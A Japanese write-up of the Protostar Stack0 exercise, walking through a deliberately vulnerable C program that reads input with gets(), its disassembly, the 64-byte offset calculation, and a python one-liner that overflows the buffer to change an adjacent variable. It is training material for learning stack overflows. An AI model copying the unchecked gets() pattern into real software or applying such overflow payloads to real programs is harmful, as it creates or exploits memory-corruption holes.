protostar stack 0 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack0を解いたので、そのwriteupを書いていく

### Stack 0
ソースコードはこんな感じ

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

動作は以下のとおり.

$ ./stack0
AAAA 
Try again?

ソースコードを見るとchar型の配列であるbufferへ値を入れているが入力値の大きさをチェックしていないためバッファオーバーフロー脆弱性が存在する.
ここではその脆弱性を利用し「you have changed the 'modified' variable」を出力させてみる.
まずはバイナリのmain関数内でどのような処理を行っているか見てみる.

$ objdump -d ./stack0 | grep main\>\: -A19
080483f4 <main>:
 80483f4:	55                   	push   ebp
 80483f5:	89 e5                	mov    ebp,esp
 80483f7:	83 e4 f0             	and    esp,0xfffffff0
 80483fa:	83 ec 60             	sub    esp,0x60
 80483fd:	c7 44 24 5c 00 00 00 	mov    DWORD PTR [esp+0x5c],0x0
 8048404:	00 
 8048405:	8d 44 24 1c          	lea    eax,[esp+0x1c]
 8048409:	89 04 24             	mov    DWORD PTR [esp],eax
 804840c:	e8 fb fe ff ff       	call   804830c <gets@plt>
 8048411:	8b 44 24 5c          	mov    eax,DWORD PTR [esp+0x5c]
 8048415:	85 c0                	test   eax,eax
 8048417:	74 0e                	je     8048427 <main+0x33>
 8048419:	c7 04 24 00 85 04 08 	mov    DWORD PTR [esp],0x8048500
 8048420:	e8 07 ff ff ff       	call   804832c <puts@plt>
 8048425:	eb 0c                	jmp    8048433 <main+0x3f>
 8048427:	c7 04 24 29 85 04 08 	mov    DWORD PTR [esp],0x8048529
 804842e:	e8 f9 fe ff ff       	call   804832c <puts@plt>
 8048433:	c9                   	leave  
 8048434:	c3                   	ret 
 ||<

流れとしてはスタックを確保後, 分岐の条件として使われる[esp+0x5c](modified)に0を代入.
次にesp+0x1c(buffer)に対しgetsで値を入力し[esp+0x5c](modified)の値が0であれば0x8048427に飛んで「Try again?」と出力.
そうでなければ(modifiedの値が書き換わっていれば)「you have changed the 'modified' variable」と出力する.

modifiedとbufferの差は 0x5c-0x1c=0x4c, これを10進数に直すと64バイトである.
このことからバッファオーバーフロー脆弱性を利用しbufferに64バイトよりも大きな値を入れるとmodifiedとされているメモリ領域の値を変えることができると考えられる.

実際に入力してみる.
>|bash|
$ python -c 'print "A"*64' | ./stack0
Try again?

$ python -c 'print "A"*65' | ./stack0
you have changed the 'modified' variable

64バイトよりも大きな値を入力したことでmodifiedの値が0から書き換えられ本来なら到達しない分岐ルートに飛んでいることが確認できる.

Stack0 おわり